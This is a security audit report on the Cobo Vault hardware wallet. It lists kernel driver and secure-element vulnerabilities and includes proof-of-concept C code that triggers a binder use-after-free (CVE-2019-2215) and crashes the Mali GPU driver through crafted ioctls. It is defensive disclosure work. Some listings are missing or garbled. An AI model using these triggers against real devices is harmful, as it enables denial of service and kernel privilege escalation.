HARDWARE WALLET AUDIT REPORT

for

COBO

Prepared By: Shuxiao Wang

Jun. 24, 2020
**Document Properties**

<table>
<thead>
<tr>
<th>Client</th>
<th>Cobo</th>
</tr>
</thead>
<tbody>
<tr>
<td>Title</td>
<td>Hardware Wallet Audit Report</td>
</tr>
<tr>
<td>Target</td>
<td>Cobo Vault</td>
</tr>
<tr>
<td>Version</td>
<td>1.0</td>
</tr>
<tr>
<td>Author</td>
<td>Huaguo Shi</td>
</tr>
<tr>
<td>Auditors</td>
<td>Chiachih Wu, Huaguo Shi, Xin Li</td>
</tr>
<tr>
<td>Reviewed by</td>
<td>Chiachih Wu</td>
</tr>
<tr>
<td>Approved by</td>
<td>Xuxian Jiang</td>
</tr>
<tr>
<td>Classification</td>
<td>Confidential</td>
</tr>
</tbody>
</table>

**Version Info**

<table>
<thead>
<tr>
<th>Version</th>
<th>Date</th>
<th>Author(s)</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.0</td>
<td>Jun. 24, 2020</td>
<td>Huaguo Shi</td>
<td>Final Release</td>
</tr>
<tr>
<td>1.0-rc2</td>
<td>Jun. 23, 2020</td>
<td>Huaguo Shi</td>
<td>Release Candidate #2</td>
</tr>
<tr>
<td>1.0-rc1</td>
<td>Jun. 2, 2020</td>
<td>Huaguo Shi</td>
<td>Release Candidate #1</td>
</tr>
</tbody>
</table>

**Contact**

For more information about this document and its contents, please contact PeckShield Inc.

<table>
<thead>
<tr>
<th>Name</th>
<th>Shuxiao Wang</th>
</tr>
</thead>
<tbody>
<tr>
<td>Phone</td>
<td>+86 173 6454 5338</td>
</tr>
<tr>
<td>Email</td>
<td><a href="mailto:contact@peckshield.com">contact@peckshield.com</a></td>
</tr>
</tbody>
</table>
# Contents

1 Introduction .................................................. 5  
   1.1 About Cobo Vault ........................................... 5  
   1.2 About PeckShield ........................................... 6  
   1.3 Methodology ................................................ 6  
       1.3.1 Fuzzing .............................................. 7  
       1.3.2 White-box Audit ..................................... 7  
   1.4 Disclaimer ................................................ 8  

2 Findings ..................................................... 11  
   2.1 Summary .................................................. 11  
   2.2 Key Findings .............................................. 12  

3 Detailed Results ............................................. 13  
   3.1 Use-After-Free Loophole in ION Driver .................. 13  
   3.2 Use-After-Free Loophole in Binder Driver ............... 16  
   3.3 Denial-of-Service Loophole in Mali Driver .............. 19  
   3.4 Out-of-bounds Write in Secure Element Firmware ........ 28  
   3.5 Memory Buffer Size Overflow in TrustKernel TEE Driver 32  
   3.6 Weak Fingerprint Verification ............................ 33  
   3.7 Weak Password Verification ............................... 35  
   3.8 Redundant API in Secure Element ........................ 36  
   3.9 Risk of Mnemonic Theft in Application Layer .......... 36  
   3.10 Risk of Mnemonic Theft in Secure Element .............. 38  
   3.11 Missing Authentication before Deleting Mnemonics in Secure Element .............. 39  
   3.13 Missing Integrity Check on Secure Element Firmware .... 40  
   3.14 Duplicate Code in Secure Element ........................ 41  
   3.15 Arbitrary Memory Write in Secure Element .............. 42  
   3.16 Denial-of-Service Loophole in perf_event ................ 44
3.17 Denial-of-Service Loophole in Sound Driver .................................................. 45
3.18 Use of Out-of-range Pointer Offset in Secure Element ............................... 45
3.19 Out-of-bounds Write in TrustKernel TEE Driver ....................................... 46

4 Conclusion ........................................................................................................... 48

References ............................................................................................................ 49
1 Introduction

Given the opportunity to review the Cobo Vault design document and related hardware wallet source code, we in the report outline our systematic approach to evaluate potential security issues in the App and Secure Element implementation, expose possible semantic inconsistencies between wallet code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of Cobo Vault can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results.

1.1 About Cobo Vault

The Cobo Vault is among the safest hardware wallets available, thanks to its built-in secure element, tamper-proof design, and extreme damage resistance. It’s also intuitive to use, despite its security protocols adding additional steps to the transaction signing process.

The basic information of Cobo Vault is as follows:

<table>
<thead>
<tr>
<th>Item</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Issuer</td>
<td>Cobo</td>
</tr>
<tr>
<td>Website</td>
<td><a href="https://cobo.com/hardware-wallet">https://cobo.com/hardware-wallet</a></td>
</tr>
<tr>
<td>Type</td>
<td>Hardware Wallet</td>
</tr>
<tr>
<td>Platform</td>
<td>C/Java/Type Script</td>
</tr>
<tr>
<td>Audit Method</td>
<td>Whitebox</td>
</tr>
<tr>
<td>Latest Audit Report</td>
<td>Jun. 24, 2020</td>
</tr>
</tbody>
</table>

In the following, we show the Git repository of reviewed files and the commit hash value used in this audit:

- https://github.com/CoboVault/cobo-vault-cold (4d3ad8)
- https://github.com/CoboVault/cobo-vault-se-firmware (033a809)
1.2 About PeckShield

PeckShield Inc. [33] is a leading blockchain security company with the goal of elevating the security, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading services and products (including the service of smart contract auditing). We are reachable at Telegram (https://t.me/peckshield), Twitter (http://twitter.com/peckshield), or Email (contact@peckshield.com).

<table>
<thead>
<tr>
<th>Impact</th>
<th>High</th>
<th>Medium</th>
<th>Low</th>
</tr>
</thead>
<tbody>
<tr>
<td>Low</td>
<td>Low</td>
<td>Low</td>
<td>Low</td>
</tr>
<tr>
<td>Medium</td>
<td>Medium</td>
<td>Medium</td>
<td>Low</td>
</tr>
<tr>
<td>High</td>
<td>Critical</td>
<td>High</td>
<td>Medium</td>
</tr>
</tbody>
</table>

Table 1.2: Vulnerability Severity Classification

1.3 Methodology

To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [32]:

- **Likelihood** represents how likely a particular vulnerability is to be uncovered and exploited in the wild;
- **Impact** measures the technical loss and business damage of a successful attack;
- **Severity** demonstrates the overall criticality of the risk.

Likelihood and impact are categorized into three ratings: **H**, **M** and **L**, i.e., **high**, **medium** and **low** respectively. Severity is determined by likelihood and impact and can be classified into four categories accordingly, i.e., **Critical**, **High**, **Medium**, **Low** shown in Table 1.2.
1.3.1 Fuzzing

In the first phase of our audit, we use fuzzing to find out possible corner cases or unusual inter-module interactions that may not be covered by in-house testing.

Fuzzing or fuzz testing is an automated software testing technique of discovering software vulnerabilities by providing unintended input to the target program and monitoring the unexpected results. As one of the most effective methods for exploiting vulnerabilities, fuzzing technology has been the first choice for many security researchers to discover vulnerabilities in recent years. At present, there are many fuzzy testing tools and supporting software, which can help security personnel to complete fuzzing and find vulnerabilities more efficiently. Based on the characteristics of the Cobo Vault, we use AFL [8] and go-fuzz [4] as the primary tool for fuzz testing.

AFL (American Fuzzy Lop) is a security-oriented fuzzer that employs a novel type of compile-time instrumentation and genetic algorithms to automatically discover clean, interesting test cases that trigger new internal states in the targeted binary. Since its inception, AFL has gained growing popularity in the industry and has proved its effectiveness in discovering quite a few significant software bugs in a wide range of major software projects. The basic process of AFL fuzzing is as follows:

- Generate compile-time instrumentation to record information such as code execution path;
- Construct some input files to join the input queue, and change input files according to different strategies;
- Files that trigger a crash or timeout when executing an input file are logged for subsequent analysis;
- Loop through the above process

Throughout the AFL testing, we will reproduce each crash based on the crash file generated by AFL. For each reported crash case, we will further analyze the root cause and check whether it is indeed a vulnerability. Once a crash case is confirmed as a vulnerability of the Cobo Vault, we will further analyze it as part of the white-box audit.

go-fuzz is a fuzzing tool inspired by AFL, for code written in Go language. It’s a coverage guided fuzzing solution and mainly applicable to packages that parse complex inputs (both text and binary), and is especially useful for hardening of systems that parse inputs from potentially malicious users (e.g., anything accepted over a network).

1.3.2 White-box Audit

After fuzzing, we continue the white-box audit by manually analyzing source code. Here we test target software’s internal structure, design, coding, and we focus on verifying the flow of input and
output through the application as well as examining possible design and implementation trade-offs for strengthened security. PeckShield auditors first fully review and understand the source code, then we create specific test cases, execute them and analyze the results. Issues such as internal security holes, unexpected output, broken or poorly structured paths, etc., in the targeted software will be inspected.

- Data and state storage, which is related to the password and mnemonic where wallet data are saved.
- Operating system. These are system-level, the wallet App base on Android system.
- Secure Element. The core security module of the hardware wallet.
- Others. Software modules not included above are checked here, such as common crypto or other 3rd-party libraries, best practice or optimization used in other software projects, design and coding consistency, etc.

Based on the above classification, here is the detailed list of the audited items as shown in Table 1.3.

To better describe each issue we identified, we also categorize the findings based on Common Weakness Enumeration (CWE-699) [31], which is a community-developed list of software weakness types to better classify and organize weaknesses around concepts frequently encountered in software development. We use the CWE categories in Table 1.4 to classify our findings.

### 1.4 Disclaimer

Note that this audit does not give any warranties on finding all possible security issues of the given hardware wallet software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of wallet software. Last but not least, this security audit should not be used as an investment advice.
Table 1.3: The Full List of Audited Items

<table>
<thead>
<tr>
<th>Category</th>
<th>Check Item</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data and State Storage</td>
<td>Mnemonic Security</td>
</tr>
<tr>
<td></td>
<td>Verify Security</td>
</tr>
<tr>
<td>Upgrade Operation</td>
<td>App Upgrade Security</td>
</tr>
<tr>
<td></td>
<td>Secure Element Upgrade Security</td>
</tr>
<tr>
<td></td>
<td>System Upgrade Security</td>
</tr>
<tr>
<td>Operating System</td>
<td>Check New Patch</td>
</tr>
<tr>
<td></td>
<td>Anti Root</td>
</tr>
<tr>
<td>Application</td>
<td>Business Logic</td>
</tr>
<tr>
<td></td>
<td>Interface Security</td>
</tr>
<tr>
<td></td>
<td>Transaction Privacy Security</td>
</tr>
<tr>
<td>Secure Element (SE)</td>
<td>Implementation Logic Security</td>
</tr>
<tr>
<td></td>
<td>Privilege Control Security</td>
</tr>
<tr>
<td></td>
<td>Storage Algorithm Security</td>
</tr>
<tr>
<td>Others</td>
<td>Third Party Library Security</td>
</tr>
<tr>
<td></td>
<td>Memory Leak Detection</td>
</tr>
<tr>
<td></td>
<td>Exception Handling</td>
</tr>
<tr>
<td></td>
<td>Log Security</td>
</tr>
<tr>
<td></td>
<td>Coding Suggestion And Optimization</td>
</tr>
<tr>
<td></td>
<td>Design Document And Code Implementation Uniformity</td>
</tr>
</tbody>
</table>
## Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit

<table>
<thead>
<tr>
<th>Category</th>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>Configuration</td>
<td>Weaknesses in this category are typically introduced during the configuration of the software.</td>
</tr>
<tr>
<td>Data Processing Issues</td>
<td>Weaknesses in this category are typically found in functionality that processes data.</td>
</tr>
<tr>
<td>Numeric Errors</td>
<td>Weaknesses in this category are related to improper calculation or conversion of numbers.</td>
</tr>
<tr>
<td>Security Features</td>
<td>Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.)</td>
</tr>
<tr>
<td>Time and State</td>
<td>Weaknesses in this category are related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads.</td>
</tr>
<tr>
<td>Error Conditions, Return Values, Status Codes</td>
<td>Weaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function.</td>
</tr>
<tr>
<td>Resource Management</td>
<td>Weaknesses in this category are related to improper management of system resources.</td>
</tr>
<tr>
<td>Behavioral Issues</td>
<td>Weaknesses in this category are related to unexpected behaviors from code that an application uses.</td>
</tr>
<tr>
<td>Business Logics</td>
<td>Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application.</td>
</tr>
<tr>
<td>Initialization and Cleanup</td>
<td>Weaknesses in this category occur in behaviors that are used for initialization and breakdown.</td>
</tr>
<tr>
<td>Arguments and Parameters</td>
<td>Weaknesses in this category are related to improper use of arguments or parameters within function calls.</td>
</tr>
<tr>
<td>Expression Issues</td>
<td>Weaknesses in this category are related to incorrectly written expressions within code.</td>
</tr>
<tr>
<td>Coding Practices</td>
<td>Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an exploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained.</td>
</tr>
</tbody>
</table>
2 | Findings

2.1 Summary

Here is a summary of our findings after analyzing the Cobo Vault implementation. During the first phase of our audit, we studied the wallet source code and ran our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review the business logic, examine system operations, and analyze the security issues of private key storage and signature verification, and place aspects under scrutiny to uncover possible pitfalls and/or bugs.

<table>
<thead>
<tr>
<th>Severity</th>
<th># of Findings</th>
</tr>
</thead>
<tbody>
<tr>
<td>Critical</td>
<td>2</td>
</tr>
<tr>
<td>High</td>
<td>5</td>
</tr>
<tr>
<td>Medium</td>
<td>5</td>
</tr>
<tr>
<td>Low</td>
<td>2</td>
</tr>
<tr>
<td>Informational</td>
<td>5</td>
</tr>
<tr>
<td>Total</td>
<td>19</td>
</tr>
</tbody>
</table>

We have so far identified a list of potential issues: some of them involve subtle corner cases that might not be previously thought of, such as the system security issue of the wallet, while others refer to unusual interactions among App and secure element. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3.
2.2 Key Findings

Overall, the Cobo Vault are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 2 critical-severity vulnerability, 5 high-severity vulnerability, 5 medium-severity vulnerability, 2 low-severity vulnerabilities, and 5 informational recommendations.

Table 2.1: Key Audit Findings

<table>
<thead>
<tr>
<th>ID</th>
<th>Severity</th>
<th>Title</th>
<th>Category</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>PVE-001</td>
<td>Medium</td>
<td>Use-After-Free Loophole in ION Driver</td>
<td>Coding Practices</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-002</td>
<td>Critical</td>
<td>Use-After-Free Loophole in Binder Driver</td>
<td>Coding Practices</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-003</td>
<td>Medium</td>
<td>Denial-of-Service Loophole in Mali Driver</td>
<td>Error Conditions</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-004</td>
<td>Medium</td>
<td>Out-of-bounds Write in Secure Element Firmware</td>
<td>Memory Buffer</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-005</td>
<td>Info.</td>
<td>Memory Buffer Size Overflow in TrustKernel TEE Driver</td>
<td>Memory Buffer</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-006</td>
<td>High</td>
<td>Weak Fingerprint Verification</td>
<td>Business Logic</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-007</td>
<td>High</td>
<td>Weak Password Verification</td>
<td>Business Logic</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-008</td>
<td>Info.</td>
<td>Redundant API in Secure Element</td>
<td>Coding Practices</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-009</td>
<td>High</td>
<td>Risk of Mnemonic Theft in Application Layer</td>
<td>Info. Mgmt</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-010</td>
<td>Low</td>
<td>Risk of Mnemonic Theft in Secure Element</td>
<td>Credentials Mgmt</td>
<td>Confirmed</td>
</tr>
<tr>
<td>PVE-011</td>
<td>Low</td>
<td>Possible Delete Mnemonics Directly in Secure Element</td>
<td>Business Logic Errors</td>
<td>Confirmed</td>
</tr>
<tr>
<td>PVE-012</td>
<td>High</td>
<td>Missing Authentication before Signing Transactions in Secure Element</td>
<td>Business Logic</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-013</td>
<td>High</td>
<td>Missing Integrity Check on Secure Element Firmware</td>
<td>Business Logic</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-014</td>
<td>Info.</td>
<td>Duplicate Code in Secure Element</td>
<td>Coding Practices</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-015</td>
<td>Medium</td>
<td>Arbitrary Memory Write in Secure Element</td>
<td>Memory Buffer</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-016</td>
<td>Info.</td>
<td>Denial-of-Service Loophole in perf_event</td>
<td>Concurrency Issues</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-017</td>
<td>Info.</td>
<td>Denial-of-Service Loophole in Sound Driver</td>
<td>Concurrency Issues</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-018</td>
<td>Medium</td>
<td>Use of Out-of-range Pointer Offset in Secure Element</td>
<td>Pointer Issues</td>
<td>Resolved</td>
</tr>
<tr>
<td>PVE-019</td>
<td>Critical</td>
<td>Out-of-bounds Write in TrustKernel TEE Driver</td>
<td>Memory Buffer</td>
<td>Resolved</td>
</tr>
</tbody>
</table>

Please refer to Section 3 for details.
3 | Detailed Results

3.1 Use-After-Free Loophole in ION Driver

- ID: PVE-001
- Severity: Medium
- Likelihood: Low
- Impact: High
- Target: ion.c
- Category: Coding Practice [23]
- CWE subcategory: CWE-416 [18]

Description

This critical vulnerability has been identified and fixed in this commit [5]. Since /dev/ion is reachable on the target system, this use-after-free could be exploited to corrupt kernel space memory, leading to local privilege escalation. The technical details about this loophole are elaborated as follows. In ion_ioctl(), the ION_IOC_MAP or ION_IOC_SHARE handler gets the ion_handle through ion_handle_get_by_id() (line 1495). Later on, in line 1501, the handle is released by ion_handle_put().

```c
1490     case ION_IOC_SHARE:
1491     case ION_IOC_MAP:
1492     {
1493         struct ion_handle *handle;
1494         handle = ion_handle_get_by_id(client, data.handle.handle);
1495         if (IS_ERR(handle)) {
1496             ret = PTR_ERR(handle);
1497             IONMSG("ION_IOC_SHARE handle is invalid. handle = %d, ret = %d\n", data.
1498                 handle.handle, ret);
1499             return ret;
1500         }
1501         data.fd.fd = ion_share_dma_buf_fd(client, handle);
1502         ion_handle_put(handle);
1503         if (data.fd.fd < 0) {
1504             IONMSG("ION_IOC_SHARE fd = %d\n", data.fd.fd);
1505             ret = data.fd.fd;
1506         }
1507         break;
```
Since the ion_handle could be referenced by multiple parties, the ION driver utilizes the reference count mechanism to make sure that the memory would only be released when the reference count is decremented to 0. As shown in ion_handle_put(), ion_handle_put_nolock() is called with client->lock held (line 357). Inside ion_handle_put_nolock(), handle->ref is kref_put()’ed and ion_handle_destroy() is called when the reference count is 0.

Listing 3.1: ion.c

```c
static int ion_handle_put_nolock(struct ion_handle *handle)
{
    int ret;
    ret = kref_put(&handle->ref, ion_handle_destroy);
    return ret;
}

int ion_handle_put(struct ion_handle *handle)
{
    struct ion_client *client = handle->client;
    int ret;

    mutex_lock(&client->lock);
    ret = ion_handle_put_nolock(handle);
    mutex_unlock(&client->lock);
    return ret;
}
```

Listing 3.2: ion.c

In the end of ion_handle_destroy(), the handle is released by kfree().

```c
static void ion_handle_destroy(struct kref *kref)
{
    struct ion_handle *handle = container_of(kref, struct ion_handle, ref);
    struct ion_client *client = handle->client;
    struct ion_buffer *buffer = handle->buffer;

    mutex_lock(&buffer->lock);
    while (handle->kmap_cnt)
        ion_handle_kmap_put(handle);
    mutex_unlock(&buffer->lock);

    idr_remove(&client->idr, handle->id);
    if (!RB_EMPTY_NODE(&handle->node))
        rb_erase(&handle->node, &client->handles);
    ion_buffer_remove_from_handle(buffer);
    ion_buffer_put(buffer);
```
As described in the commit message, a bad actor can use two threads to trick the ION_IOC_MAP handler to use the freed ion_handle due to the lacks of mutex lock mechanism.

1 - thread A: ION_IOC_ALLOC creates an ion_handle with refcount 1
2 - thread A: starts ION_IOC_MAP and increments the refcount to 2
3 - thread B: ION_IOC_FREE decrements the refcount to 1
4 - thread B: ION_IOC_FREE decrements the refcount to 0 and frees the handle
5 - thread A: continues ION_IOC_MAP with a dangling ion_handle * to freed memory

If we look into the ion_buffer_put() function called by ion_handle_destroy(), we can see how this loophole could be exploited to hijack the control flow inside Linux kernel. Since the ion_buffer is also managed by the reference count mechanism, _ion_buffer_destroy() would be invoked when buffer->ref == 0.

Listing 3.4: ion.c

By crafting the buffer->heap->flags, the attacker could simply get into ion_buffer_destroy() in line 242.

Listing 3.5: ion.c
Here’s the interesting part. Inside `ion_buffer_destroy()`, the `unmap_kernel()` function pointer is called in line 221. It means if the attacker sprays the `{struct ion_handle}`-sized slabs successfully, she can craft the `handle->buffer` with the `handle->buffer->heap->ops->unmap_kernel` pointing to the shellcode, which leads to kernel control flow hijacking.

```c
void ion_buffer_destroy(struct ion_buffer *buffer) {
    if (WARN_ON(buffer->kmap_cnt > 0))
        buffer->heap->ops->unmap_kernel(buffer->heap, buffer);
}
```

Listing 3.6: ion.c

Fortunately, the target platform has only one CPU core activated which makes the window of heap spraying really small. By the time writing the report, this vulnerability cannot be triggered successfully such that we set the likelihood as low.

**Recommendation**  Apply the patch [5].

### 3.2 Use-After-Free Loophole in Binder Driver

- **ID:** PVE-002
- **Severity:** Critical
- **Likelihood:** High
- **Impact:** High
- **Target:** binder.c
- **Category:** Coding Practice [23]
- **CWE subcategory:** CWE-416 [18]

**Description**

This bug had been published by Project Zero as CVE-2019-2215 [9]. Since the binder driver is reachable from `/dev/hwbinder` on the Cobo Vault Android system, this unpatched vulnerability, as suggested by Project Zero’s report, could be exploited to arbitrarily read/write kernel space memory, leading to privilege escalation — rooting the device.
As a short summary, the loophole is in the handler of releasing a binder thread which could be triggered by the `BINDERTHREAD_EXIT` ioctl. The magic under the hood is that the `BINDERTHREAD_EXIT` ioctl eventually reaches `binder_thread_dec_tmpref()` which calls `binder_free_thread()` when the thread is dead and the reference count is 0 (line 1977 – 1979) without decoupling the binder thread from the listed-list kept by epoll.

```
static void binder_thread_dec_tmpref(struct binder_thread *thread)
{
    /* atomic is used to protect the counter value while
    * it cannot reach zero or thread->is_dead is false
    */
    binder_inner_proc_lock(thread->proc);
    atomic_dec(&thread->tmp_ref);
    if (thread->is_dead && ! atomic_read(&thread->tmp_ref)) {
        binder_inner_proc_unlock(thread->proc);
        binder_free_thread(thread);
        return;
    }
    binder_inner_proc_unlock(thread->proc);
}
```

Listing 3.8: binder.c

As shown in the following code snippets, the `struct binder_thread *` pointer is released with `kfree()` in line 4466.

```
static void binder_free_thread(struct binder_thread *thread)
{
    BUG_ON(! list_empty(&thread->todo));
    binder_stats_deleted(BINDER_STAT_THREAD);
    binder_proc_dec_tmpref(thread->proc);
    put_task_struct(thread->task);
    kfree(thread);
}
```

Listing 3.9: binder.c

However, in the context of `ep_remove_wait_queue()`, the `wait` member (line 633) in the previously released `struct binder_thread` is still referenced.

```
struct binder_thread {  
    struct binder_proc *proc;
    struct rb_node rb_node;
    struct list_head waiting_thread_node;
    int pid;
    int looper; /* only modified by this thread */
    bool looper_need_return; /* can be written by other thread */
    struct binder_transaction *transaction_stack;
    struct list_head todo;
    struct binder_error return_error;
    struct binder_error reply_error;
}
```

Confidential

Listing 3.10: binder.c

While performing EPOLL_CTL_DEL, ep_remove_wait_queue() calls remove_wait_queue() to remove the binder thread from the list.

Listing 3.11: fs/eventpoll.c

The freed wait_queue_head_t is used in remove_wait_queue() while locking the q->lock spinlock.

Listing 3.12: kernel/sched/wait.c

Furthermore, __remove_wait_queue() corrupts the freed wait_queue_head_t by clobbering the list_head pointers.

Listing 3.13: include/linux/wait.h

18/52 PeckShield Audit Report #: 2020-09
This critical vulnerability could be exploited with the following attack code. The heap spray part
is not included here. Since the size of \texttt{struct binder\_thread} is 400 on the target system, the bad
actor should spray the 448-bytes slabs right after the free operation (i.e., \texttt{ioctl(BINDER\_THREAD\_EXIT})
and perform the use operation (i.e., \texttt{close(epfd)} which is done automatically when the program
terminates) to clobber kernel space memory.

```c
def main()
{
    int fd, epfd;
    struct epoll\_event event = { .events = EPOLLIN };

    fd = open("/dev/hwbinder", O_RDONLY);
    epfd = epoll\_create(1000);
    epoll\_ctl(epfd, EPOLL\_CTL\_ADD, fd, &event);
    ioctl(fd, BINDER\_THREAD\_EXIT, NULL);

    return 0;
}
```

Listing 3.14: pwn.c

Recommendation Apply the patch for android-3.18 [2].

### 3.3 Denial-of-Service Loophole in Mali Driver

- **ID:** PVE-003
- **Severity:** Medium
- **Likelihood:** High
- **Impact:** Low
- **Target:** mali\_pp\_job.c, mali\_memory\_manager.c
- **Category:** Error Conditions [27]
- **CWE subcategory:** CWE-617 [19]

**Description**

The Mali driver is the ARM GPU driver which is reachable through /dev/mali. Tons of \texttt{ioctl}s are
available for various operations related to the gpu hardware. During our analysis, we identified
that some of the ioctls could be exploited to crash the Linux kernel, leading to a denial-of-service
vulnerability. Specifically, throughout the Mali driver codebase, \texttt{MALI\_DEBUG\_ASSERT} is used to validate
the conditions such as the value of pointers, the range of memory size, etc. However, as shown in the
following code snippets, the underlying function of \texttt{MALI\_DEBUG\_ASSERT} dumps the stack and crashes
the machine by dereferencing a NULL pointer.

```c
#define MALI\_DEBUG\_ASSERT(condition) do { if( !(condition)) {MALI\_PRINT\_ERROR(" #condition"); _mali\_osk\_break();} } while(0)
```

Listing 3.15: mali\_kernel\_common.h
void _mali_osk_abort()
{
    /* make a simple fault by dereferencing a NULL pointer */
    dump_stack();
    *(int *)0 = 0;
}

void _mali_osk_break()
{
    _mali_osk_abort();
}

Listing 3.16: mali_osk_misc.c

It means an attacker could crash the machine if she finds a way to trigger a MALI_DEBUG_ASSERT call.

In the following, we identified multiple paths to the reachable MALI_DEBUG_ASSERT or MALI_DEBUG_ASSERT_POINTER calls.

Case I As shown in the following code snippets, mali_pp_job_create() is invoked with an user-level pointer uargs which is the third parameter of the ioctl system call. In line 53, the content of a user provided buffer pointed by uargs is copied into the kernel space buffer job->uargs which is allocated by _mali_osk_calloc() (line 46), which makes it possible to craft the job->nargs.num_cores for entering the error handler, intentionally, in line 59.

Listing 3.17: mali_pp_job.c

The go fail statement leads to mali_pp_job_delete().
if (NULL != job) {
    mali_pp_job_delete(job);
}

return NULL;

Listing 3.18: mali_pp_job.c

In the very beginning of mali_pp_job_delete(), job->list is validated to ensure that the linked-list is not empty. However, as mentioned earlier, an attacker can intentionally create an empty job->list and triggers MALI_DEBUG_ASSERT() in line 149, which leads to _mali_osk_break().

void mali_pp_job_delete(struct mali_pp_job *job) {
    struct mali_session_data *session;
    MALI_DEBUG_ASSERT_POINTER(job);
    MALI_DEBUG_ASSERT(_mali_osk_list_empty(&job->list));

Listing 3.19: mali_pp_job.c

The so-called reachable assertion loophole could be triggered by the following attack code. As you can see in line 15, the bad actor can simply set a large num_cores and use the ioctl system call to crash the machine.

main() {
    int fd;
    _mali_uk_pp_start_job_s x;
    fd = open("/dev/mali", O_RDONLY);
    if (fd < 0) {
        printf("[-] Failed to open device (%s)\n", strerror(errno));
        goto out;
    }
    printf("[+] Device opened at %d\n", fd);
    x.num_cores = 0xc0ffee;
    ioctl(fd, MALI_IOC_PP_START_JOB, &x);
    close_out:
    close(fd);
    out:
    return 0;
}

Listing 3.20: pwn.c
Case II  There's another DoS loophole which is reachable through the `M Mali_IOC_MEM_UNBIND` ioctl. As shown in the following code snippets, `_mali_ukk_mem_unbind()` is called with the `args` pointer which points to a memory area controllable by possible attackers. In line 777, `mali_addr` is set to `args->vaddr` which could be a crafted virtual address. Later on, the crafted `mali_addr` is sent into `mali_vma_offset_search()` for searching the `mali_vma_node` in line 781. As an error handling mechanism, `MALI_DEBUG_ASSERT()` is triggered in line 786 when `mali_vma_node` is `NULL`, this leads to the NULL pointer dereference which crashes the system.

```c

int main() {
    int fd;
    _mali_ukk_mem_unbind_mem_s x;

    fd = open("/dev/mali", O_RDONLY);

    if ( fd < 0 ) {
        printf("[-] Failed to open device (%s)\n", strerror(errno));
        goto out;
    }

    printf("[+] Device opened at %d\n", fd);
    x.vaddr = 0xcafebabe;
    ioctl(fd, Mali_IOC_MEM_UNBIND, &x);
}
```

Listing 3.21: mali_memory_manager.c

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can craft a random `vaddr` to fail the search for `mali_vma_node` and crashes the system intentionally.
Listing 3.22: pwn.c

Case III There's yet another DoS loophole which is reachable through the MALI_IOC_MEM_COW ioctl. As shown in the following code snippets, _mali_ukk_mem() is called with the args pointer which points to a memory area controllable by possible attackers. In line 819, the crafted args->target_handle is sent into mali_mem_backend_struct_search() for searching the target_backend. As an error handling mechanism, MALI_DEBUG_ASSERT() is triggered in line 822 when target_backend is NULL, this leads to the NULL pointer dereference which crashes the system.

language

Listing 3.23: mali_memory_manager.c

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can craft a random target_handle to fail the search for target_backend and crashes the system intentionally.

23/52 PeckShield Audit Report #: 2020-09
Confidential

Listing 3.24: pwn.c

Case IV  As shown in the following code snippets, \texttt{\_mali\_ukk\_mem\_cow\_modify\_range()} is called with the \texttt{args} pointer which points to a memory area controllable by possible attackers. In line 945, the crafted \texttt{args->vaddr} is sent into \texttt{mali\_mem\_backend\_struct\_search()} for searching the \texttt{mem\_backend}. As an error handling mechanism, \texttt{MALI\_DEBUG\_ASSERT()} is triggered in line 948 when \texttt{mem\_backend} is \texttt{NULL}, this leads to the NULL pointer dereference which crashes the system.

language

Listing 3.25: mali\_memory\_manager.c

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can craft a random \texttt{vaddr} to fail the search for \texttt{mem\_backend} and crashes the system intentionally.

main()
{
    int fd;
    \_mali\_uk\_cow\_modify\_range\_s x;
    fd = open("/dev/mali", O_RDONLY);
}

24/52  PeckShield Audit Report #: 2020-09
Confidential

Listing 3.26: pwn.c

```
if ( fd < 0 ) {
    printf("[-] Failed to open device (%s)\n", strerror(errno));
    goto out;
}

printf("[+] Device opened at %d\n", fd);

x.vaddr = 0xcabefabe;
ioctl(fd, MALI_IOC_MEM_COW_MODIFY_RANGE, &x);

Listing 3.27: mali_memory_manager.c

